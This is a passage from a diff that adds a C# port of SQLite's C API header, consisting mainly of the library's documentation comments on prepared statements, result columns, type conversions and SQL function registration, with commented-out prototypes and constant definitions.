A Prepared Statement + ** + ** ^Contrary to the intuition of many, [sqlite3_reset()] does not reset + ** the [sqlite3_bind_blob | bindings] on a [prepared statement]. + ** ^Use this routine to reset all host parameters to NULL. + */ + //SQLITE_API int sqlite3_clear_bindings(sqlite3_stmt); + + /* + ** CAPI3REF: Number Of Columns In A Result Set + ** + ** ^Return the number of columns in the result set returned by the + ** [prepared statement]. ^This routine returns 0 if pStmt is an SQL + ** statement that does not return data (for example an [UPDATE]). + ** + ** See also: [sqlite3_data_count()] + */ + //SQLITE_API int sqlite3_column_count(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Column Names In A Result Set + ** + ** ^These routines return the name assigned to a particular column + ** in the result set of a [SELECT] statement. ^The sqlite3_column_name() + ** interface returns a pointer to a zero-terminated UTF-8 string + ** and sqlite3_column_name16() returns a pointer to a zero-terminated + ** UTF-16 string. ^The first parameter is the [prepared statement] + ** that implements the [SELECT] statement. ^The second parameter is the + ** column number. ^The leftmost column is number 0. + ** + ** ^The returned string pointer is valid until either the [prepared statement] + ** is destroyed by [sqlite3_finalize()] or until the statement is automatically + ** reprepared by the first call to [sqlite3_step()] for a particular run + ** or until the next call to + ** sqlite3_column_name() or sqlite3_column_name16() on the same column. + ** + ** ^If sqlite3_malloc() fails during the processing of either routine + ** (for example during a conversion from UTF-8 to UTF-16) then a + ** NULL pointer is returned. + ** + ** ^The name of a result column is the value of the "AS" clause for + ** that column, if there is an AS clause. If there is no AS clause + ** then the name of the column is unspecified and may change from + ** one release of SQLite to the next. + */ + //SQLITE_API string sqlite3_column_name(sqlite3_stmt*, int N); + //SQLITE_API const void *sqlite3_column_name16(sqlite3_stmt*, int N); + + /* + ** CAPI3REF: Source Of Data In A Query Result + ** + ** ^These routines provide a means to determine the database, table, and + ** table column that is the origin of a particular result column in + ** [SELECT] statement. + ** ^The name of the database or table or column can be returned as + ** either a UTF-8 or UTF-16 string. ^The _database_ routines return + ** the database name, the _table_ routines return the table name, and + ** the origin_ routines return the column name. + ** ^The returned string is valid until the [prepared statement] is destroyed + ** using [sqlite3_finalize()] or until the statement is automatically + ** reprepared by the first call to [sqlite3_step()] for a particular run + ** or until the same information is requested + ** again in a different encoding. + ** + ** ^The names returned are the original un-aliased names of the + ** database, table, and column. + ** + ** ^The first argument to these interfaces is a [prepared statement]. + ** ^These functions return information about the Nth result column returned by + ** the statement, where N is the second function argument. + ** ^The left-most column is column 0 for these routines. + ** + ** ^If the Nth column returned by the statement is an expression or + ** subquery and is not a column value, then all of these functions return + ** NULL. ^These routine might also return NULL if a memory allocation error + ** occurs. ^Otherwise, they return the name of the attached database, table, + ** or column that query result column was extracted from. + ** + ** ^As with all other SQLite APIs, those whose names end with "16" return + ** UTF-16 encoded strings and the other functions return UTF-8. + ** + ** ^These APIs are only available if the library was compiled with the + ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol. + ** + ** If two or more threads call one or more of these routines against the same + ** prepared statement and column at the same time then the results are + ** undefined. + ** + ** If two or more threads call one or more + ** [sqlite3_column_database_name | column metadata interfaces] + ** for the same [prepared statement] and result column + ** at the same time then the results are undefined. + */ + //SQLITE_API string sqlite3_column_database_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_database_name16(sqlite3_stmt*,int); + //SQLITE_API string sqlite3_column_table_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_table_name16(sqlite3_stmt*,int); + //SQLITE_API string sqlite3_column_origin_name(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_origin_name16(sqlite3_stmt*,int); + + /* + ** CAPI3REF: Declared Datatype Of A Query Result + ** + ** ^(The first parameter is a [prepared statement]. + ** If this statement is a [SELECT] statement and the Nth column of the + ** returned result set of that [SELECT] is a table column (not an + ** expression or subquery) then the declared type of the table + ** column is returned.)^ ^If the Nth column of the result set is an + ** expression or subquery, then a NULL pointer is returned. + ** ^The returned string is always UTF-8 encoded. + ** + ** ^(For example, given the database schema: + ** + ** CREATE TABLE t1(c1 VARIANT); + ** + ** and the following statement to be compiled: + ** + ** SELECT c1 + 1, c1 FROM t1; + ** + ** this routine would return the string "VARIANT" for the second result + ** column (i==1), and a NULL pointer for the first result column (i==0).)^ + ** + ** ^SQLite uses dynamic run-time typing. ^So just because a column + ** is declared to contain a particular type does not mean that the + ** data stored in that column is of the declared type. SQLite is + ** strongly typed, but the typing is dynamic not static. ^Type + ** is associated with individual values, not with the containers + ** used to hold those values. + */ + //SQLITE_API string sqlite3_column_decltype(sqlite3_stmt*,int); + //SQLITE_API const void *sqlite3_column_decltype16(sqlite3_stmt*,int); + + /* + ** CAPI3REF: Evaluate An SQL Statement + ** + ** After a [prepared statement] has been prepared using either + ** [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] or one of the legacy + ** interfaces [sqlite3_prepare()] or [sqlite3_prepare16()], this function + ** must be called one or more times to evaluate the statement. + ** + ** The details of the behavior of the sqlite3_step() interface depend + ** on whether the statement was prepared using the newer "v2" interface + ** [sqlite3_prepare_v2()] and [sqlite3_prepare16_v2()] or the older legacy + ** interface [sqlite3_prepare()] and [sqlite3_prepare16()]. The use of the + ** new "v2" interface is recommended for new applications but the legacy + ** interface will continue to be supported. + ** + ** ^In the legacy interface, the return value will be either [SQLITE_BUSY], + ** [SQLITE_DONE], [SQLITE_ROW], [SQLITE_ERROR], or [SQLITE_MISUSE]. + ** ^With the "v2" interface, any of the other [result codes] or + ** [extended result codes] might be returned as well. + ** + ** ^[SQLITE_BUSY] means that the database engine was unable to acquire the + ** database locks it needs to do its job. ^If the statement is a [COMMIT] + ** or occurs outside of an explicit transaction, then you can retry the + ** statement. If the statement is not a [COMMIT] and occurs within an + ** explicit transaction then you should rollback the transaction before + ** continuing. + ** + ** ^[SQLITE_DONE] means that the statement has finished executing + ** successfully. sqlite3_step() should not be called again on this virtual + ** machine without first calling [sqlite3_reset()] to reset the virtual + ** machine back to its initial state. + ** + ** ^If the SQL statement being executed returns any data, then [SQLITE_ROW] + ** is returned each time a new row of data is ready for processing by the + ** caller. The values may be accessed using the [column access functions]. + ** sqlite3_step() is called again to retrieve the next row of data. + ** + ** ^[SQLITE_ERROR] means that a run-time error (such as a constraint + ** violation) has occurred. sqlite3_step() should not be called again on + ** the VM. More information may be found by calling [sqlite3_errmsg()]. + ** ^With the legacy interface, a more specific error code (for example, + ** [SQLITE_INTERRUPT], [SQLITE_SCHEMA], [SQLITE_CORRUPT], and so forth) + ** can be obtained by calling [sqlite3_reset()] on the + ** [prepared statement]. ^In the "v2" interface, + ** the more specific error code is returned directly by sqlite3_step(). + ** + ** [SQLITE_MISUSE] means that the this routine was called inappropriately. + ** Perhaps it was called on a [prepared statement] that has + ** already been [sqlite3_finalize | finalized] or on one that had + ** previously returned [SQLITE_ERROR] or [SQLITE_DONE]. Or it could + ** be the case that the same database connection is being used by two or + ** more threads at the same moment in time. + ** + ** For all versions of SQLite up to and including 3.6.23.1, a call to + ** [sqlite3_reset()] was required after sqlite3_step() returned anything + ** other than [SQLITE_ROW] before any subsequent invocation of + ** sqlite3_step(). Failure to reset the prepared statement using + ** [sqlite3_reset()] would result in an [SQLITE_MISUSE] return from + ** sqlite3_step(). But after version 3.6.23.1, sqlite3_step() began + ** calling [sqlite3_reset()] automatically in this circumstance rather + ** than returning [SQLITE_MISUSE]. This is not considered a compatibility + ** break because any application that ever receives an SQLITE_MISUSE error + ** is broken by definition. The [SQLITE_OMIT_AUTORESET] compile-time option + ** can be used to restore the legacy behavior. + ** + ** Goofy Interface Alert: In the legacy interface, the sqlite3_step() + ** API always returns a generic error code, [SQLITE_ERROR], following any + ** error other than [SQLITE_BUSY] and [SQLITE_MISUSE]. You must call + ** [sqlite3_reset()] or [sqlite3_finalize()] in order to find one of the + ** specific [error codes] that better describes the error. + ** We admit that this is a goofy design. The problem has been fixed + ** with the "v2" interface. If you prepare all of your SQL statements + ** using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] instead + ** of the legacy [sqlite3_prepare()] and [sqlite3_prepare16()] interfaces, + ** then the more specific [error codes] are returned directly + ** by sqlite3_step(). The use of the "v2" interface is recommended. + */ + //SQLITE_API int sqlite3_step(sqlite3_stmt); + + /* + ** CAPI3REF: Number of columns in a result set + ** + ** ^The sqlite3_data_count(P) interface returns the number of columns in the + ** current row of the result set of [prepared statement] P. + ** ^If prepared statement P does not have results ready to return + ** (via calls to the [sqlite3_column_int | sqlite3_column_*()] of + ** interfaces) then sqlite3_data_count(P) returns 0. + ** ^The sqlite3_data_count(P) routine also returns 0 if P is a NULL pointer. + ** + ** See also: [sqlite3_column_count()] + */ + //SQLITE_API int sqlite3_data_count(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Fundamental Datatypes + ** KEYWORDS: SQLITE_TEXT + ** + ** ^(Every value in SQLite has one of five fundamental datatypes: + ** + **
    + **
  • 64-bit signed integer + **
  • 64-bit IEEE floating point number + **
  • string + **
  • BLOB + **
  • NULL + **
)^ + ** + ** These constants are codes for each of those types. + ** + ** Note that the SQLITE_TEXT constant was also used in SQLite version 2 + ** for a completely different meaning. Software that links against both + ** SQLite version 2 and SQLite version 3 should use SQLITE3_TEXT, not + ** SQLITE_TEXT. + */ + //#define SQLITE_INTEGER 1 + //#define SQLITE_FLOAT 2 + //#define SQLITE_BLOB 4 + //#define SQLITE_NULL 5 + //#if SQLITE_TEXT + //# undef SQLITE_TEXT + //#else + //# define SQLITE_TEXT 3 + //#endif + //#define SQLITE3_TEXT 3 + public const u8 SQLITE_INTEGER = 1; + public const u8 SQLITE_FLOAT = 2; + public const u8 SQLITE_BLOB = 4; + public const u8 SQLITE_NULL = 5; + public const u8 SQLITE_TEXT = 3; + public const u8 SQLITE3_TEXT = 3; + + /* + ** CAPI3REF: Result Values From A Query + ** KEYWORDS: {column access functions} + ** + ** These routines form the "result set" interface. + ** + ** ^These routines return information about a single column of the current + ** result row of a query. ^In every case the first argument is a pointer + ** to the [prepared statement] that is being evaluated (the [sqlite3_stmt*] + ** that was returned from [sqlite3_prepare_v2()] or one of its variants) + ** and the second argument is the index of the column for which information + ** should be returned. ^The leftmost column of the result set has the index 0. + ** ^The number of columns in the result can be determined using + ** [sqlite3_column_count()]. + ** + ** If the SQL statement does not currently point to a valid row, or if the + ** column index is out of range, the result is undefined. + ** These routines may only be called when the most recent call to + ** [sqlite3_step()] has returned [SQLITE_ROW] and neither + ** [sqlite3_reset()] nor [sqlite3_finalize()] have been called subsequently. + ** If any of these routines are called after [sqlite3_reset()] or + ** [sqlite3_finalize()] or after [sqlite3_step()] has returned + ** something other than [SQLITE_ROW], the results are undefined. + ** If [sqlite3_step()] or [sqlite3_reset()] or [sqlite3_finalize()] + ** are called from a different thread while any of these routines + ** are pending, then the results are undefined. + ** + ** ^The sqlite3_column_type() routine returns the + ** [SQLITE_INTEGER | datatype code] for the initial data type + ** of the result column. ^The returned value is one of [SQLITE_INTEGER], + ** [SQLITE_FLOAT], [SQLITE_TEXT], [SQLITE_BLOB], or [SQLITE_NULL]. The value + ** returned by sqlite3_column_type() is only meaningful if no type + ** conversions have occurred as described below. After a type conversion, + ** the value returned by sqlite3_column_type() is undefined. Future + ** versions of SQLite may change the behavior of sqlite3_column_type() + ** following a type conversion. + ** + ** ^If the result is a BLOB or UTF-8 string then the sqlite3_column_bytes() + ** routine returns the number of bytes in that BLOB or string. + ** ^If the result is a UTF-16 string, then sqlite3_column_bytes() converts + ** the string to UTF-8 and then returns the number of bytes. + ** ^If the result is a numeric value then sqlite3_column_bytes() uses + ** [sqlite3_snprintf()] to convert that value to a UTF-8 string and returns + ** the number of bytes in that string. + ** ^If the result is NULL, then sqlite3_column_bytes() returns zero. + ** + ** ^If the result is a BLOB or UTF-16 string then the sqlite3_column_bytes16() + ** routine returns the number of bytes in that BLOB or string. + ** ^If the result is a UTF-8 string, then sqlite3_column_bytes16() converts + ** the string to UTF-16 and then returns the number of bytes. + ** ^If the result is a numeric value then sqlite3_column_bytes16() uses + ** [sqlite3_snprintf()] to convert that value to a UTF-16 string and returns + ** the number of bytes in that string. + ** ^If the result is NULL, then sqlite3_column_bytes16() returns zero. + ** + ** ^The values returned by [sqlite3_column_bytes()] and + ** [sqlite3_column_bytes16()] do not include the zero terminators at the end + ** of the string. ^For clarity: the values returned by + ** [sqlite3_column_bytes()] and [sqlite3_column_bytes16()] are the number of + ** bytes in the string, not the number of characters. + ** + ** ^Strings returned by sqlite3_column_text() and sqlite3_column_text16(), + ** even empty strings, are always zero terminated. ^The return + ** value from sqlite3_column_blob() for a zero-length BLOB is a NULL pointer. + ** + ** ^The object returned by [sqlite3_column_value()] is an + ** [unprotected sqlite3_value] object. An unprotected sqlite3_value object + ** may only be used with [sqlite3_bind_value()] and [sqlite3_result_value()]. + ** If the [unprotected sqlite3_value] object returned by + ** [sqlite3_column_value()] is used in any other way, including calls + ** to routines like [sqlite3_value_int()], [sqlite3_value_text()], + ** or [sqlite3_value_bytes()], then the behavior is undefined. + ** + ** These routines attempt to convert the value where appropriate. ^For + ** example, if the internal representation is FLOAT and a text result + ** is requested, [sqlite3_snprintf()] is used internally to perform the + ** conversion automatically. ^(The following table details the conversions + ** that are applied: + ** + **
+ ** + **
Internal
Type
Requested
Type
Conversion + ** + **
NULL INTEGER Result is 0 + **
NULL FLOAT Result is 0.0 + **
NULL TEXT Result is NULL pointer + **
NULL BLOB Result is NULL pointer + **
INTEGER FLOAT Convert from integer to float + **
INTEGER TEXT ASCII rendering of the integer + **
INTEGER BLOB Same as INTEGER->TEXT + **
FLOAT INTEGER Convert from float to integer + **
FLOAT TEXT ASCII rendering of the float + **
FLOAT BLOB Same as FLOAT->TEXT + **
TEXT INTEGER Use atoi() + **
TEXT FLOAT Use atof() + **
TEXT BLOB No change + **
BLOB INTEGER Convert to TEXT then use atoi() + **
BLOB FLOAT Convert to TEXT then use atof() + **
BLOB TEXT Add a zero terminator if needed + **
+ **
)^ + ** + ** The table above makes reference to standard C library functions atoi() + ** and atof(). SQLite does not really use these functions. It has its + ** own equivalent internal routines. The atoi() and atof() names are + ** used in the table for brevity and because they are familiar to most + ** C programmers. + ** + ** Note that when type conversions occur, pointers returned by prior + ** calls to sqlite3_column_blob(), sqlite3_column_text(), and/or + ** sqlite3_column_text16() may be invalidated. + ** Type conversions and pointer invalidations might occur + ** in the following cases: + ** + **
    + **
  • The initial content is a BLOB and sqlite3_column_text() or + ** sqlite3_column_text16() is called. A zero-terminator might + ** need to be added to the string.
  • + **
  • The initial content is UTF-8 text and sqlite3_column_bytes16() or + ** sqlite3_column_text16() is called. The content must be converted + ** to UTF-16.
  • + **
  • The initial content is UTF-16 text and sqlite3_column_bytes() or + ** sqlite3_column_text() is called. The content must be converted + ** to UTF-8.
  • + **
+ ** + ** ^Conversions between UTF-16be and UTF-16le are always done in place and do + ** not invalidate a prior pointer, though of course the content of the buffer + ** that the prior pointer references will have been modified. Other kinds + ** of conversion are done in place when it is possible, but sometimes they + ** are not possible and in those cases prior pointers are invalidated. + ** + ** The safest and easiest to remember policy is to invoke these routines + ** in one of the following ways: + ** + **
    + **
  • sqlite3_column_text() followed by sqlite3_column_bytes()
  • + **
  • sqlite3_column_blob() followed by sqlite3_column_bytes()
  • + **
  • sqlite3_column_text16() followed by sqlite3_column_bytes16()
  • + **
+ ** + ** In other words, you should call sqlite3_column_text(), + ** sqlite3_column_blob(), or sqlite3_column_text16() first to force the result + ** into the desired format, then invoke sqlite3_column_bytes() or + ** sqlite3_column_bytes16() to find the size of the result. Do not mix calls + ** to sqlite3_column_text() or sqlite3_column_blob() with calls to + ** sqlite3_column_bytes16(), and do not mix calls to sqlite3_column_text16() + ** with calls to sqlite3_column_bytes(). + ** + ** ^The pointers returned are valid until a type conversion occurs as + ** described above, or until [sqlite3_step()] or [sqlite3_reset()] or + ** [sqlite3_finalize()] is called. ^The memory space used to hold strings + ** and BLOBs is freed automatically. Do not pass the pointers returned + ** [sqlite3_column_blob()], [sqlite3_column_text()], etc. into + ** [sqlite3_free()]. + ** + ** ^(If a memory allocation error occurs during the evaluation of any + ** of these routines, a default value is returned. The default value + ** is either the integer 0, the floating point number 0.0, or a NULL + ** pointer. Subsequent calls to [sqlite3_errcode()] will return + ** [SQLITE_NOMEM].)^ + */ + //SQLITE_API const void *sqlite3_column_blob(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_bytes(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_bytes16(sqlite3_stmt*, int iCol); + //SQLITE_API double sqlite3_column_double(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_int(sqlite3_stmt*, int iCol); + //SQLITE_API sqlite3_int64 sqlite3_column_int64(sqlite3_stmt*, int iCol); + //SQLITE_API const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol); + //SQLITE_API const void *sqlite3_column_text16(sqlite3_stmt*, int iCol); + //SQLITE_API int sqlite3_column_type(sqlite3_stmt*, int iCol); + //SQLITE_API sqlite3_value *sqlite3_column_value(sqlite3_stmt*, int iCol); + + /* + ** CAPI3REF: Destroy A Prepared Statement Object + ** + ** ^The sqlite3_finalize() function is called to delete a [prepared statement]. + ** ^If the most recent evaluation of the statement encountered no errors + ** or if the statement is never been evaluated, then sqlite3_finalize() returns + ** SQLITE_OK. ^If the most recent evaluation of statement S failed, then + ** sqlite3_finalize(S) returns the appropriate [error code] or + ** [extended error code]. + ** + ** ^The sqlite3_finalize(S) routine can be called at any point during + ** the life cycle of [prepared statement] S: + ** before statement S is ever evaluated, after + ** one or more calls to [sqlite3_reset()], or after any call + ** to [sqlite3_step()] regardless of whether or not the statement has + ** completed execution. + ** + ** ^Invoking sqlite3_finalize() on a NULL pointer is a harmless no-op. + ** + ** The application must finalize every [prepared statement] in order to avoid + ** resource leaks. It is a grievous error for the application to try to use + ** a prepared statement after it has been finalized. Any use of a prepared + ** statement after it has been finalized can result in undefined and + ** undesirable behavior such as segfaults and heap corruption. + */ + //SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Reset A Prepared Statement Object + ** + ** The sqlite3_reset() function is called to reset a [prepared statement] + ** object back to its initial state, ready to be re-executed. + ** ^Any SQL statement variables that had values bound to them using + ** the [sqlite3_bind_blob | sqlite3_bind_*() API] retain their values. + ** Use [sqlite3_clear_bindings()] to reset the bindings. + ** + ** ^The [sqlite3_reset(S)] interface resets the [prepared statement] S + ** back to the beginning of its program. + ** + ** ^If the most recent call to [sqlite3_step(S)] for the + ** [prepared statement] S returned [SQLITE_ROW] or [SQLITE_DONE], + ** or if [sqlite3_step(S)] has never before been called on S, + ** then [sqlite3_reset(S)] returns [SQLITE_OK]. + ** + ** ^If the most recent call to [sqlite3_step(S)] for the + ** [prepared statement] S indicated an error, then + ** [sqlite3_reset(S)] returns an appropriate [error code]. + ** + ** ^The [sqlite3_reset(S)] interface does not change the values + ** of any [sqlite3_bind_blob|bindings] on the [prepared statement] S. + */ + //SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Create Or Redefine SQL Functions + ** KEYWORDS: {function creation routines} + ** KEYWORDS: {application-defined SQL function} + ** KEYWORDS: {application-defined SQL functions} + ** + ** ^These functions (collectively known as "function creation routines") + ** are used to add SQL functions or aggregates or to redefine the behavior + ** of existing SQL functions or aggregates. The only differences between + ** these routines are the text encoding expected for + ** the second parameter (the name of the function being created) + ** and the presence or absence of a destructor callback for + ** the application data pointer. + ** + ** ^The first parameter is the [database connection] to which the SQL + ** function is to be added. ^If an application uses more than one database + ** connection then application-defined SQL functions must be added + ** to each database connection separately. + ** + ** ^The second parameter is the name of the SQL function to be created or + ** redefined. ^The length of the name is limited to 255 bytes in a UTF-8 + ** representation, exclusive of the zero-terminator. ^Note that the name + ** length limit is in UTF-8 bytes, not characters nor UTF-16 bytes. + ** ^Any attempt to create a function with a longer name + ** will result in [SQLITE_MISUSE] being returned. + ** + ** ^The third parameter (nArg) + ** is the number of arguments that the SQL function or + ** aggregate takes. ^If this parameter is -1, then the SQL function or + ** aggregate may take any number of arguments between 0 and the limit + ** set by [sqlite3_limit]([SQLITE_LIMIT_FUNCTION_ARG]). If the third + ** parameter is less than -1 or greater than 127 then the behavior is + ** undefined. + ** + ** ^The fourth parameter, eTextRep, specifies what + ** [SQLITE_UTF8 | text encoding] this SQL function prefers for + ** its parameters. Every SQL function implementation must be able to work + ** with UTF-8, UTF-16le, or UTF-16be. But some implementations may be + ** more efficient with one encoding than another. ^An application may + ** invoke sqlite3_create_function() or sqlite3_create_function16() multiple + ** times with the same function but with different values of eTextRep. + ** ^When multiple implementations of the same function are available, SQLite + ** will pick the one that involves the least amount of data conversion. + ** If there is only a single implementation which does not care what text + ** encoding is used, then the fourth argument should be [SQLITE_ANY]. + ** + ** ^(The fifth parameter is an arbitrary pointer. The implementation of the + ** function can gain access to this pointer using [sqlite3_user_data()].)^ + ** + ** ^The sixth, seventh and eighth parameters, xFunc, xStep and xFinal, are + ** pointers to C-language functions that implement the SQL function or + ** aggregate. ^A scalar SQL function requires an implementation of the xFunc + ** callback only; NULL pointers must be passed as the xStep and xFinal + ** parameters. ^An aggregate SQL function requires an implementation of xStep + ** and xFinal and NULL pointer must be passed for xFunc. ^To delete an existing + ** SQL function or aggregate, pass NULL pointers for all three function + ** callbacks. + ** + ** ^(If the ninth parameter to sqlite3_create_function_v2() is not NULL, + ** then it is destructor for the application data pointer. + ** The destructor is invoked when the function is deleted, either by being + ** overloaded or when the database connection closes.)^ + ** ^The destructor is also invoked if the call to + ** sqlite3_create_function_v2() fails. + ** ^When the destructor callback of the tenth parameter is invoked, it + ** is passed a single argument which is a copy of the application data + ** pointer which was the fifth parameter to sqlite3_create_function_v2(). + ** + ** ^It is permitted to register multiple implementations of the same + ** functions with the same name but with either differing numbers of + ** arguments or differing preferred text encodings. ^SQLite will use + ** the implementation that most closely matches the way in which the + ** SQL function is used. ^A function implementation with a non-negative + ** nArg parameter is a better match than a function implementation with + ** a negative nArg. ^A function where the preferred text encoding + ** matches the database encoding is a better + ** match than a function where the encoding is different. + ** ^A function where the encoding difference is between UTF16le and UTF16be + ** is a closer match than a function where the encoding difference is + ** between UTF8 and UTF16. + ** + ** ^Built-in functions may be overloaded by new application-defined functions. + ** + ** ^An application-defined function is permitted to call other + ** SQLite interfaces. However, such calls must not + ** close the database connection nor finalize or reset the prepared + ** statement in which the function is running. + */ + //SQLITE_API int sqlite3_create_function( + // sqlite3 db, + // string zFunctionName, + // int nArg, + // int eTextRep, + // void *pApp, + // void (*xFunc)(sqlite3_context*,int,sqlite3_value*), + // void (*xStep)(sqlite3_context*,int,sqlite3_value*), + // void (*xFinal)(sqlite3_context) + //); + //SQLITE_API int sqlite3_create_function16( + // sqlite3 db, + // string zFunctionName, + // int nArg, + // int eTextRep, + // void *pApp, + // void (*xFunc)(sqlite3_context*,int,sqlite3_value*), + // void (*xStep)(sqlite3_context*,int,sqlite3_value*), + // void (*xFinal)(sqlite3_context) + //); + //SQLITE_API int sqlite3_create_function_v2( + // sqlite3 db, + // string zFunctionName, + // int nArg, + // int eTextRep, + // void *pApp, + // void (*xFunc)(sqlite3_context*,int,sqlite3_value*), + // void (*xStep)(sqlite3_context*,int,sqlite3_value*), + // void (*xFinal)(sqlite3_context), + // void(*xDestroy)(void) + //); + + /* + ** CAPI3REF: Text Encodings + ** + ** These constant define integer codes that represent the various + ** text encodings supported by SQLite. + */ + //#define SQLITE_UTF8 1 + //#define SQLITE_UTF16LE 2 + //#define SQLITE_UTF16BE 3 + //#define SQLITE_UTF16 4 /* Use native byte order */ + //#define SQLITE_ANY 5 /* sqlite3_create_function only */ + //#define SQLITE_UTF16_ALIGNED 8 /* sqlite3_create_collation only */ + public const u8 SQLITE_UTF8 = 1; + public const u8 SQLITE_UTF16LE = 2; + public const u8 SQLITE_UTF16BE = 3; + public const u8 SQLITE_UTF16 = 4; + public const u8 SQLITE_ANY = 5; + public const u8 SQLITE_UTF16_ALIGNED = 8; + + + /* + ** CAPI3REF: Deprecated Functions + ** DEPRECATED + ** + ** These functions are [deprecated]. In order to maintain + ** backwards compatibility with older code, these functions continue + ** to be supported. However, new applications should avoid + ** the use of these functions. To help encourage people to avoid + ** using these functions, we are not going to tell you what they do. + */ + //#if NOT_SQLITE_OMIT_DEPRECATED //#if !SQLITE_OMIT_DEPRECATED + //SQLITE_API SQLITE_DEPRECATED int sqlite3_aggregate_count(sqlite3_context); + //SQLITE_API SQLITE_DEPRECATED int sqlite3_expired(sqlite3_stmt); + //SQLITE_API SQLITE_DEPRECATED int sqlite3_transfer_bindings(sqlite3_stmt*, sqlite3_stmt); + //SQLITE_API SQLITE_DEPRECATED int sqlite3_global_recover(void); + //SQLITE_API SQLITE_DEPRECATED void sqlite3_thread_cleanup(void); + //SQLITE_API SQLITE_DEPRECATED int sqlite3_memory_alarm(void()(void*,sqlite3_int64,int),void*,sqlite3_int64); + //#endif + + /* + ** CAPI3REF: Obtaining SQL Function Parameter Values + ** + ** The C-language implementation of SQL functions and aggregates uses + ** this set of interface routines to access the parameter values on + ** the function or aggregate. + ** + ** The xFunc (for scalar functions) or xStep (for aggregates) parameters + ** to [sqlite3_create_function()] and [sqlite3_create_function16()] + ** define callbacks that implement the SQL functions and aggregates. + ** The 3rd parameter to these callbacks is an array of pointers to + ** [protected sqlite3_value] objects. There is one [sqlite3_value] object for + ** each parameter to the SQL function. These routines are used to + ** extract values from the [sqlite3_value] objects. + ** + ** These routines work only with [protected sqlite3_value] objects. + ** Any attempt to use these routines on an [unprotected sqlite3_value] + ** object results in undefined behavior. + ** + ** ^These routines work just like the corresponding [column access functions] + ** except that these routines take a single [protected sqlite3_value] object + ** pointer instead of a [sqlite3_stmt*] pointer and an integer column number. + ** + ** ^The sqlite3_value_text16() interface extracts a UTF-16 string + ** in the native byte-order of the host machine. ^The + ** sqlite3_value_text16be() and sqlite3_value_text16le() interfaces + ** extract UTF-16 strings as big-endian and little-endian respectively. + ** + ** ^(The sqlite3_value_numeric_type() interface attempts to apply + ** numeric affinity to the value. This means that an attempt is + ** made to convert the value to an integer or floating point. If + ** such a conversion is possible without loss of information (in other + ** words, if the value is a string that looks like a number) + ** then the conversion is performed. Otherwise no conversion occurs. + ** The [SQLITE_INTEGER | datatype] after conversion is returned.)^ + ** + ** Please pay particular attention to the fact that the pointer returned + ** from [sqlite3_value_blob()], [sqlite3_value_text()], or + ** [sqlite3_value_text16()] can be invalidated by a subsequent call to + ** [sqlite3_value_bytes()], [sqlite3_value_bytes16()], [sqlite3_value_text()], + ** or [sqlite3_value_text16()]. + ** + ** These routines must be called from the same thread as + ** the SQL function that supplied the [sqlite3_value*] parameters. + */ + //SQLITE_API const void *sqlite3_value_blob(sqlite3_value); + //SQLITE_API int sqlite3_value_bytes(sqlite3_value); + //SQLITE_API int sqlite3_value_bytes16(sqlite3_value); + //SQLITE_API double sqlite3_value_double(sqlite3_value); + //SQLITE_API int sqlite3_value_int(sqlite3_value); + //SQLITE_API sqlite3_int64 sqlite3_value_int64(sqlite3_value); + //SQLITE_API const unsigned char *sqlite3_value_text(sqlite3_value); + //SQLITE_API const void *sqlite3_value_text16(sqlite3_value); + //SQLITE_API const void *sqlite3_value_text16le(sqlite3_value); + //SQLITE_API const void *sqlite3_value_text16be(sqlite3_value); + //SQLITE_API int sqlite3_value_type(sqlite3_value); + //SQLITE_API int sqlite3_value_numeric_type(sqlite3_value); + + /* + ** CAPI3REF: Obtain Aggregate Function Context + ** + ** Implementations of aggregate SQL functions use this + ** routine to allocate memory for storing their state. + ** + ** ^The first time the sqlite3_aggregate_context(C,N) routine is called + ** for a particular aggregate function, SQLite + ** allocates N of memory, zeroes out that memory, and returns a pointer + ** to the new memory. ^On second and subsequent calls to + ** sqlite3_aggregate_context() for the same aggregate function instance, + ** the same buffer is returned. Sqlite3_aggregate_context() is normally + ** called once for each invocation of the xStep callback and then one + ** last time when the xFinal callback is invoked. ^(When no rows match + ** an aggregate query, the xStep() callback of the aggregate function + ** implementation is never called and xFinal() is called exactly once. + ** In those cases, sqlite3_aggregate_context() might be called for the + ** first time from within xFinal().)^ + ** + ** ^The sqlite3_aggregate_context(C,N) routine returns a NULL pointer if N is + ** less than or equal to zero or if a memory allocate error occurs. + ** + ** ^(The amount of space allocated by sqlite3_aggregate_context(C,N) is + ** determined by the N parameter on first successful call. Changing the + ** value of N in subsequent call to sqlite3_aggregate_context() within + ** the same aggregate function instance will not resize the memory + ** allocation.)^ + ** + ** ^SQLite automatically frees the memory allocated by + ** sqlite3_aggregate_context() when the aggregate query concludes. + ** + ** The first parameter must be a copy of the + ** [sqlite3_context | SQL function context] that is the first parameter + ** to the xStep or xFinal callback routine that implements the aggregate + ** function. + ** + ** This routine must be called from the same thread in which + ** the aggregate SQL function is running. + */ + //SQLITE_API void *sqlite3_aggregate_context(sqlite3_context*, int nBytes); + + /* + ** CAPI3REF: User Data For Functions + ** + ** ^The sqlite3_user_data() interface returns a copy of + ** the pointer that was the pUserData parameter (the 5th parameter) + ** of the [sqlite3_create_function()] + ** and [sqlite3_create_function16()] routines that originally + ** registered the application defined function. + ** + ** This routine must be called from the same thread in which + ** the application-defined function is running. + */ + //SQLITE_API void *sqlite3_user_data(sqlite3_context); + + /* + ** CAPI3REF: Database Connection For Functions + ** + ** ^The sqlite3_context_db_handle() interface returns a copy of + ** the pointer to the [database connection] (the 1st parameter) + ** of the [sqlite3_create_function()] + ** and [sqlite3_create_function16()] routines that originally + ** registered the application defined function. + */ + //SQLITE_API sqlite3 *sqlite3_context_db_handle(sqlite3_context); + + /* + ** CAPI3REF: Function Auxiliary Data + ** + ** The following two functions may be used by scalar SQL functions to + ** associate metadata with argument 